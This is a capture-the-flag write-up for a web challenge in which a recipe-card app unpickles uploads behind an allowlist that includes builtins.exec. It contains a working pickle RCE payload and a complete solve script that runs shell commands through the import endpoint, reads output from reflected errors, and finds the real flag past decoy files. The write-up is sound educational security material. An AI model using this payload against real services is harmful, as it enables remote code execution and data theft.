What you get
app.py (about 7 KB) and a live instance. It's a "recipe card" app: build a
lemonade recipe, export it as a .lemoncard file, import a friend's card to
try their mix. The blurb brags that imports are "safe" because "we built a
proper allowlist for this." Anyone who has ever seen the words pickle and
import in the same sentence should already be smiling.
Hint 1
Read how find_class is overridden. What's the one allowed name that doesn't
belong to a recipe at all?
Hint 2
Once you have code running, don't trust the first flag-shaped file you find. This app was clearly built by people who enjoy decoys.
First look
/export pickles a Recipe object. /import base64-decodes an uploaded card
and feeds it to _CardStream, a pickle.Unpickler subclass whose
find_class is swapped out for _resolve_component, which checks the
(module, name) pair against an allowlist before letting it through.
The allowlist itself isn't a plain Python list - it's packed with base85 +
zlib and dressed up as a "build pipeline" artifact. That's just obfuscation,
not cryptography; one zlib.decompress(base64.b85decode(...)) later, the
real table is:
app.Recipe,app.Ingredientbuiltins.list,dict,str,int,float,bool,tuple,setbuiltins.exec
Insight
builtins.exec sitting on a pickle allowlist is the whole challenge. A
pickle whose GLOBAL opcode names builtins.exec, with a source string as
its REDUCE argument, runs that source the moment load() reaches it - no
Recipe object required. The later isinstance(recipe, Recipe) check never
even gets a chance to matter; by then arbitrary Python has already run.
Blocking os.system / subprocess.Popen was clearly meant to look
protective, but exec alone makes every one of those reachable from inside
itself.
Building the pickle
A minimal protocol-2 pickle equivalent to builtins.exec(<source>):
1import struct
2code = b"<python source>"
3payload = (b"\x80\x02"
4 + b"cbuiltins\nexec\n"
5 + b"X" + struct.pack("<I", len(code)) + code
6 + b"\x85R.")
Base64-encode it, POST it as the card file to /import (multipart). The
handler catches exceptions and reflects str(e) back into the result page,
so the trick is to make the executed code raise Exception(stdout + stderr)
- the error message becomes our terminal output.
As a sanity/negative control first: a pickle naming os.system gets rejected
outright (allowlist does its job there), confirming the filter really is
live and really is checking names - just the wrong set of names.
Finding the real flag
Reading /app/entrypoint.sh through the new code-execution channel explains
the layout:
/app/flag.txt->L3m0n{bbbb...}, baked straight into the image./tmp/flag.txt->L3m0n{cccc...}, written at container start.envis a dead end too: the entrypointunsetsFLAGright after writing it out, specifically so it isn't sitting oneenvcall away.
REAL_FLAG_PATH=/tmp/data/.export_cache/bundle.dat, a 0400 file inside a
0700 directory - readable only because our shell runs as the same uid that
owns it.
cat $(grep -oP 'REAL_FLAG_PATH="\K[^"]+' /app/entrypoint.sh)
Pitfall
Two flag-shaped strings are a single cat away and neither one validates.
If your solve script stops at the first L3m0n{...} regex match on
/app/flag.txt or /tmp/flag.txt, you'll submit a decoy. Chase the
entrypoint logic instead of grepping blindly.
Show the full solve script
1#!/usr/bin/env python3
2"""Pickled Lemons (L3m0nCTF 2026, Web 500).
3
4THE BUG
5app.py subclasses pickle.Unpickler and overrides find_class with an allowlist of
6(module, name) pairs. The table is base85+zlib packed "so the build pipeline can
7store it", which is only obfuscation. Decoding it gives:
8
9 app.Recipe, app.Ingredient,
10 builtins.{list, dict, str, int, float, bool, tuple, set, exec}
11
12`builtins.exec` is on the allowlist. That is straight remote code execution: a
13pickle whose GLOBAL opcode names builtins.exec and whose REDUCE argument is a
14code string. The `isinstance(recipe, Recipe)` check that follows is irrelevant --
15the code has already run by then.
16
17WHY THE OBVIOUS FLAG FILES ARE WRONG
18The instance entrypoint (/app/entrypoint.sh) writes three flag-shaped files:
19
20 /app/flag.txt L3m0n{bbbb...} decoy, baked into the image
21 /tmp/flag.txt L3m0n{cccc...} decoy, planted on the RAM disk
22 /tmp/data/.export_cache/bundle.dat <the real per-team flag>
23
24and then `unset FLAG` so `env` is not a shortcut. The real path is 0700-dir /
250400-file, but the app runs as the owning uid, so code execution reads it fine.
26
27Usage: python3 solve.py https://<instance-host>/
28"""
29import base64, html, re, ssl, struct, sys
30import urllib.error, urllib.request
31
32CTX = ssl.create_default_context()
33CTX.check_hostname = False
34CTX.verify_mode = ssl.CERT_NONE
35BASE = sys.argv[1].rstrip("/")
36
37
38def build_exec_pickle(code):
39 """Protocol-2 pickle that evaluates builtins.exec(<code>)."""
40 p = b"\x80\x02" + b"cbuiltins\nexec\n"
41 c = code.encode()
42 p += b"X" + struct.pack("<I", len(c)) + c + b"\x85R."
43 return p
44
45
46def run(cmd):
47 """Run a shell command through the pickle channel; the exception message is
48 reflected into the result page, so stdout comes back via raise Exception()."""
49 code = ("import subprocess as _s\n"
50 "_o = _s.run(['sh','-c',%r], capture_output=True, text=True)\n"
51 "raise Exception(_o.stdout + _o.stderr)\n" % cmd)
52 b64 = base64.b64encode(build_exec_pickle(code)).decode()
53 boundary = "----l3m0ncard"
54 body = (("--%s\r\n" % boundary).encode()
55 + b'Content-Disposition: form-data; name="card"; filename="c.lemoncard"\r\n'
56 + b"Content-Type: application/octet-stream\r\n\r\n" + b64.encode()
57 + ("\r\n--%s--\r\n" % boundary).encode())
58 r = urllib.request.Request(
59 BASE + "/import", data=body,
60 headers={"Content-Type": "multipart/form-data; boundary=" + boundary},
61 method="POST")
62 try:
63 with urllib.request.urlopen(r, timeout=40, context=CTX) as resp:
64 out = resp.read().decode(errors="replace")
65 except urllib.error.HTTPError as e:
66 out = e.read().decode(errors="replace")
67 m = re.search(r'<p class="msg error">Import failed:\s*(.*?)</p>', out, re.S)
68 return html.unescape(m.group(1)) if m else out
69
70
71ep = run("cat /app/entrypoint.sh")
72m = re.search(r'REAL_FLAG_PATH="([^"]+)"', ep)
73real = m.group(1)
74
75out = run("cat %s" % real)
76m = re.search(r"L3m0n\{[0-9a-f]{32}\}", out)
77print("FLAG:", m.group(0))
Takeaway
Never put an execution primitive on a pickle allowlist - full stop. Better yet, don't unpickle untrusted input at all; use a data-only format (JSON) and reconstruct objects explicitly.